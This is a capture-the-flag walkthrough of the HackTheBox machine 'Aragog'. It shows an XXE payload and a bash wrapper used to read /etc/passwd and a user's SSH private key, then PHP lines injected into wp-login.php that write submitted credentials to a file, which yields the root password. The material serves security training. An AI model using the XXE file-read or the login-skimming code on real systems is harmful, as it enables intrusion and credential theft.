Aragog provided a chance to play with XML External Entity (XXE) vulnerabilities, as well as a chance to modify a running website to capture user credentials.

Box Info

Name Aragog Aragog
Play on HackTheBox
Release Date 10 Feb 2018
Retire Date 04 May 2024
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Aragog
Radar Graph Radar chart for Aragog
First Blood User 01:41:20overcast
First Blood Root 03:37:16snowscan
Creator egre55


Initial scans show ftp, ssh, and http:

root@kali# nmap -sT -p- --min-rate 5000 --max-retries 1 -oA nmap/alltcp

Starting Nmap 7.60 ( ) at 2018-03-21 08:17 EDT
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.098s latency).
Not shown: 64001 closed ports, 1531 filtered ports
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.93 seconds

root@kali# nmap -sU -p- --min-rate 5000 --max-retries 1 -oA nmap/alludp

Starting Nmap 7.60 ( ) at 2018-03-21 08:18 EDT
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.10s latency).
All 65535 scanned ports on are open|filtered (65503) or closed (32)

Nmap done: 1 IP address (1 host up) scanned in 26.73 seconds

root@kali# nmap -sV -sC -p 21,22,80 -oA nmap/initial

Starting Nmap 7.60 ( ) at 2018-03-21 08:19 EDT
Nmap scan report for
Host is up (0.100s latency).

21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21 16:30 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds

We have anonymous login to the ftp service, and from the Apache version, looks like we’re dealing with an Ubuntu 16.04 box.

port 21: ftp

In the open ftp, there’s a test.txt, which is an xml file.

root@kali# ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( ftp
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--r--r--    1 ftp      ftp            86 Dec 21 16:30 test.txt
226 Directory send OK.
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
86 bytes received in 0.01 secs (16.0092 kB/s)



Port 80 - Web


The root on port 80 just returns the default apache page.

[July 2023 update]: At some point since this box originally retired, the box was reworked to have the main site redirect to aragog.htb. To solve the current box, I’d need to add this domain to my hosts file and reference the domain instead of the IP in virtually all of the commands that follow. They have not been updated here, but would need to be to solve the box today. Thanks to InvertedClimbing for the tip.


root@kali# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions   : .php,.html,.txt
/index.html (Status: 200)
/hosts.php (Status: 200)


gobuster identified a hosts.php site. First, we should try to figure out what the over functionality is. By just visiting, it returns what looks like an incomplete message:


We need to figure out how to interact with it.

wfuzz (failure)

First, I tried to fuzz parameters for /hosts.php:

root@kali# wfuzz -c -w /opt/SecLists/Discovery/DNS/namelist.txt --hh 46

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.2.9 - The Web Fuzzer                         *

Total requests: 1907

ID      Response   Lines      Word         Chars          Payload

Total time: 24.26966
Processed Requests: 1907
Filtered Requests: 1907
Requests/sec.: 78.57544

root@kali# wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1mil-110000.txt --hh 46

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.2.9 - The Web Fuzzer                         *

Total requests: 114532

ID      Response   Lines      Word         Chars          Payload

Total time: 1403.956
Processed Requests: 114532
Filtered Requests: 114532
Requests/sec.: 81.57804

xml Upload

It dawned on me that the xml file could be used for this site. By posting XML in the format found in test.txt, we can get hosts.php to calculate the number of hosts in the given subnet:

root@kali# cat test.txt
root@kali# curl -X POST -d @test.txt

There are 62 possible hosts for

root@kali# cat test2.txt
root@kali# curl -X POST -d @test2.txt

There are 254 possible hosts for

XXE Exploit / User Shell

This page takes our xml input, and shows it back to us! We can do an inbound XXE attack to read files:

root@kali# cat exploit.xml
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "file:///etc/lsb-release"> ]>
root@kali# curl -X POST -d @exploit.xml -x

There are 4294967294 possible hosts for DISTRIB_ID=Ubuntu

Perfect. Write a quick bash script so were not editing files every time.


if [ "$#" == "1" ]; then
    echo "$0 [file]"
    exit 1

exploit="<!DOCTYPE foo[
<!ENTITY xxe SYSTEM \"$file\"> ]>

echo "$exploit" > tmp
curl -s -X POST -d @tmp -x | tee $(basename "$file")
rm tmp
root@kali# ./ /etc/lsb-release

There are 4294967294 possible hosts for DISTRIB_ID=Ubuntu

Now grab /etc/passwd to reveal accounts on the box:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false

And, we can get try to get ssh keys. We don’t find one for cliff:

root@kali# ./ /home/cliff/.ssh/id_rsa

There are 4294967294 possible hosts for

But we do for florian:

root@kali# ./ /home/florian/.ssh/id_rsa

There are 4294967294 possible hosts for -----BEGIN RSA PRIVATE KEY-----

florian’s key is enough to get a shell, and user.txt:

root@kali# ssh -i ~/id_florian-aragog florian@
Last login: Fri May 11 04:15:31 2018 from
florian@aragog:~$ wc -c user.txt
33 user.txt
florian@aragog:~$ cat user.txt

Privesc: florian -> root


In /var/www/html, along side the hosts.php application, there’s a dev_wiki folder that we had not previously identified. It looks like a WordPress site:

florian@aragog:/var/www/html$ ls -la
total 36
drwxrwxrwx 5 www-data www-data  4096 May 11 05:45 .
drwxr-xr-x 3 root     root      4096 Dec 18 16:36 ..
drwxrwxrwx 5 cliff    cliff     4096 May 11 05:45 dev_wiki
-rw-r--r-- 1 www-data www-data   689 Dec 21 15:31 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18 16:36 index.html
drwxr-xr-x 5 florian  florian   4096 May 11 05:35 .test
drw-r--r-- 5 cliff    cliff     4096 Dec 20 16:17 zz_backup

florian@aragog:/var/www/html$ ls dev_wiki/
index.php    wp-activate.php     wp-comments-post.php  wp-cron.php        wp-load.php   wp-settings.php   xmlrpc.php
license.txt  wp-admin            wp-config.php         wp-includes        wp-login.php  wp-signup.php
readme.html  wp-blog-header.php  wp-content            wp-links-opml.php  wp-mail.php   wp-trackback.php

There’s a redirect that requires that we add aragog to our /etc/hosts file, and then we get the page:


The page is super sparse, but there is one entry under blog:


That probably explains the zz_backup directory next to the dev_wiki directory.

Fail - Get Creds from MySql Database

Because it’s a WordPress site, we know where to find db creds:

florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php | grep -A17 "MySQL settings - "
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_wiki');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Now use them to check out the db:

florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p'$@y6CHJ^$#5c37j$#6h'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 148
Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wp_wiki            |
5 rows in set (0.00 sec)

mysql> use wp_wiki
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_wp_wiki     |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
12 rows in set (0.00 sec)

mysql> select * from wp_users;
| ID | user_login    | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name  |
|  1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | |          | 2017-12-20 23:26:04 |                     |           0 | Administrator |
1 row in set (0.00 sec)

Unfortunately, rockyou doesn’t crack the hash:

root@kali# hashcat -m400 wp.hash /usr/share/wordlists/rockyou.txt
hashcat (v4.1.0) starting...

* Device #1: Not a native Intel OpenCL runtime. Expect massive speed loss.
             You can use --force to override, but do not report related errors.
No devices found/left.

Started: Fri May 11 08:56:25 2018
Stopped: Fri May 11 08:56:25 2018
root@kali# hashcat -m400 wp.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v4.1.0) starting...

OpenCL Platform #1: The pocl project
* Device #1: pthread-Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz, 1024/2961 MB allocatable, 4MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts

Wiki Backup

The note on the wp site says that there’s a frequent backup process. I wasn’t able to find the backup process on my own, but I found a tool which is pretty awesome.


Find it here:

  1. git clone into directory
  2. start docker daemon in another window: dockerd
  3. make build-build-image
  4. make build

The result should be a bin directory with 4 exes, static and compressed for 32 and 64-bit.

Run on Aragog

On run, it prints all the current processes, and then new ones. This group of processes comes every minute:

florian@aragog:/dev/shm/.pspy$ ./pspy32
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watc
hing directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2018/05/11 14:31:01 CMD: UID=1001 PID=5337   | /bin/sh -c /usr/bin/python /home/cliff/
2018/05/11 14:31:01 CMD: UID=1001 PID=5336   | /bin/sh -c /usr/bin/python /home/cliff/
2018/05/11 14:31:01 CMD: UID=0    PID=5335   | /usr/sbin/CRON -f
2018/05/11 14:31:01 CMD: UID=1001 PID=5338   | /usr/bin/python /home/cliff/
2018/05/11 14:31:01 CMD: UID=1001 PID=5339   |
2018/05/11 14:31:01 CMD: UID=1001 PID=5340   | /usr/bin/python /home/cliff/
2018/05/11 14:31:01 CMD: UID=1001 PID=5341   |

Every 5 minutes, there’s some additional processes:

2018/05/12 11:15:01 CMD: UID=0    PID=3263   | /usr/sbin/CRON -f
2018/05/12 11:15:01 CMD: UID=0    PID=3262   | /usr/sbin/CRON -f
2018/05/12 11:15:01 CMD: UID=0    PID=3266   | /bin/bash /root/
2018/05/12 11:15:01 CMD: UID=0    PID=3265   | /usr/sbin/CRON -f
2018/05/12 11:15:01 CMD: UID=0    PID=3264   | /bin/sh -c /bin/bash /root/
2018/05/12 11:15:01 CMD: UID=0    PID=3267   | rm -rf /var/www/html/dev_wiki/
2018/05/12 11:15:01 CMD: UID=1001 PID=3268   | /usr/bin/python /home/cliff/
2018/05/12 11:15:02 CMD: UID=0    PID=3269   | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
2018/05/12 11:15:02 CMD: UID=1001 PID=3271   | /sbin/ldconfig.real -p
2018/05/12 11:15:02 CMD: UID=1001 PID=3270   | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2>/dev/null
2018/05/12 11:15:02 CMD: UID=1001 PID=3272   | sh -c uname -p 2> /dev/null
2018/05/12 11:15:02 CMD: UID=1001 PID=3273   | uname -p
2018/05/12 11:15:02 CMD: UID=0    PID=3274   | chown -R cliff:cliff /var/www/html/dev_wiki/
2018/05/12 11:15:02 CMD: UID=0    PID=3275   | chmod -R 777 /var/www/html/dev_wiki/

Two interesting bits from the output of pspy:

  1. The group of processes that starts every five minutes gives a pretty good idea of what happens when /root/ is called, which seems to be reverting the dev_wiki site.
  2. called by cliff (user UID=1001) is certainly interesting and worth further investigation.

Capturing Credentials

Failed - tcpdump

The names of the recurring script is, which suggests it logs into the site. Let’s try to capture that with tcpdump, and get the creds:

florian@aragog:/dev/shm$ tcpdump -D
1.ens33 [Up, Running]
2.any (Pseudo-device that captures on all interfaces) [Up, Running]
3.lo [Up, Running, Loopback]
4.nflog (Linux netfilter log (NFLOG) interface)
5.nfqueue (Linux netfilter queue (NFQUEUE) interface)
6.usbmon1 (USB bus number 1)
7.usbmon2 (USB bus number 2)
florian@aragog:/dev/shm$ tcpdump -i 3
tcpdump: lo: You don't have permission to capture on that device
(socket: Operation not permitted)

Unfortunately, we don’t have permissions to do it.

Modify wp-login.php

Since the login is a post to wp-login.php, I will modify that page so that it dumps any credentials submitted to it to file, by adding the lines under <?php:

$rrr = print_r($_REQUEST, true);
$fff = fopen("/dev/shm/df", "a");
fwrite($fff, $rrr);

Then, I can test by trying to log in, and seeing my response:

florian@aragog:/dev/shm$ cat df
    [log] => administrator
    [pwd] => sdf
    [wp-submit] => Log In
    [redirect_to] => http://aragog/dev_wiki/wp-admin/
    [testcookie] => 1

Now wait until the minute rolls around…

florian@aragog:/dev/shm$ cat df
    [log] => administrator
    [pwd] => sdf
    [wp-submit] => Log In
    [redirect_to] => http://aragog/dev_wiki/wp-admin/
    [testcookie] => 1
    [pwd] => !KRgYs(JFO!&MTr)lf
    [wp-submit] => Log In
    [testcookie] => 1
    [log] => Administrator
    [redirect_to] =>

root Shell

With cliff’s creds, try to su as him:

florian@aragog:/var/www/html/dev_wiki$ su cliff
su: Authentication failure

What about root?

florian@aragog:/var/www/html/dev_wiki$ su
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
sh: 0: getcwd() failed: No such file or directory
root@aragog:/var/www/html/dev_wiki# cd /home/cliff
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory


root@aragog:~# ls  root.txt
root@aragog:~# wc -c root.txt
33 root.txt
root@aragog:~# cat root.txt

Other Details


The hosts.php file that allowed for initial access:

florian@aragog:/home$ cat /var/www/html/hosts.php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $details = simplexml_import_dom($dom);
    $mask = $details->subnet_mask;
    //echo "\r\nYou have provided subnet $mask\r\n";

    $max_bits = '32';
    $cidr = mask2cidr($mask);
    $bits = $max_bits - $cidr;
    $hosts = pow(2,$bits);
    echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";

    function mask2cidr($mask){
         $long = ip2long($mask);
         $base = ip2long('');
         return 32-log(($long ^ $base)+1,2);


With root shell, can grab the script, which does exactly what we expected:

root@aragog:/home/cliff# ls

root@aragog:/home/cliff# cat
import requests

wp_login = ''
wp_admin = ''
username = 'Administrator'
password = '!KRgYs(JFO!&MTr)lf'

with requests.Session() as s:
    headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
        'log':username, 'pwd':password, 'wp-submit':'Log In',
        'redirect_to':wp_admin, 'testcookie':'1'
    }, headers=headers1, data=datas)
    resp = s.get(wp_admin)

In root, there’s a script It basically sets the site back to where it started, and runs every 5 minutes, which is good in world where people are going to be messing with the live site:

root@aragog:~# cat
rm -rf /var/www/html/dev_wiki/
cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
chown -R cliff:cliff /var/www/html/dev_wiki/
chmod -R 777 /var/www/html/dev_wiki/

root@aragog:~# crontab -l | grep -v \#
*/5 * * * * /bin/bash /root/